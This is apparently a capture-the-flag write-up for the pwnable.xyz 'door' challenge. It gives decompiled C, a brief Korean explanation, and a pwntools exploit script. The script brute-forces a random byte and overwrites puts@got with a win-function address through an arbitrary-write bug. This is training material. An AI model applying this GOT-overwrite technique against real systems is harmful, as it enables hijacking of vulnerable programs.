[pwnable.xyz]door
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int value; // [rsp+4h] [rbp-Ch]
int addr; // [rsp+8h] [rbp-8h]
setup();
puts("Door To Other RealmS");
value = 0;
addr = 0;
door = rand();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_menu();
v3 = read_int32();
if ( v3 != 2 )
break;
if ( door )
{
printf("Realm: ", argv);
addr = read_int32();
}
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_17;
if ( door == addr )
{
printf("Door: ", argv);
value = read_int32();
printf("Realm: ");
addr = read_int32();
*addr = value;
door = 0;
}
}
if ( v3 != 3 )
break;
if ( door && addr )
*addr = value;
}
if ( v3 == 4 )
return 0;
LABEL_17:
puts("Invalid");
}
}
seed를 직접적으로 맞출 수 없다. 근데 우리가 원하는 주소에 0을 쓸 수 있다. 그래서 door에 있는 랜덤값을 하위 1바이트를 남겨두고 덮으면서 1번메뉴로 1byte bruteforce해서 puts@got에 win함수 주소 값을 쓰면 된다. 그전에 puts@got에는 실제 주소가 담겨있으므로 초기화해주면 된다.
exploit.py
from pwn import *
context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
p = remote('svc.pwnable.xyz',30039)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
bss_start = 0x0000000000601080
door = 0x0000000000601244
win = e.symbols['win']
fini_arrry = 0x0000000000600e10
def _open(addr):
sa('>','2')
sa(':',str(addr))
def enter():
sa('>','3')
_open(door+4)
enter()
_open(door+3)
enter()
_open(door+3)
enter()
_open(door+2)
enter()
_open(door+1)
enter()
_open(e.got['puts']+5)
enter()
_open(e.got['puts']+4)
enter()
_open(e.got['puts']+3)
enter()
_open(e.got['puts']+2)
enter()
_open(e.got['puts']+1)
enter()
_open(e.got['puts'])
enter()
c = 0
for i in range(256):
_open(i)
sa('>','1')
if 'Door' in p.recvuntil(':'):
p.send(str(win))
sa('Realm:',str(e.got['puts']))
c = 1
if c == 1:
break
sa('>','999')
p.interactive()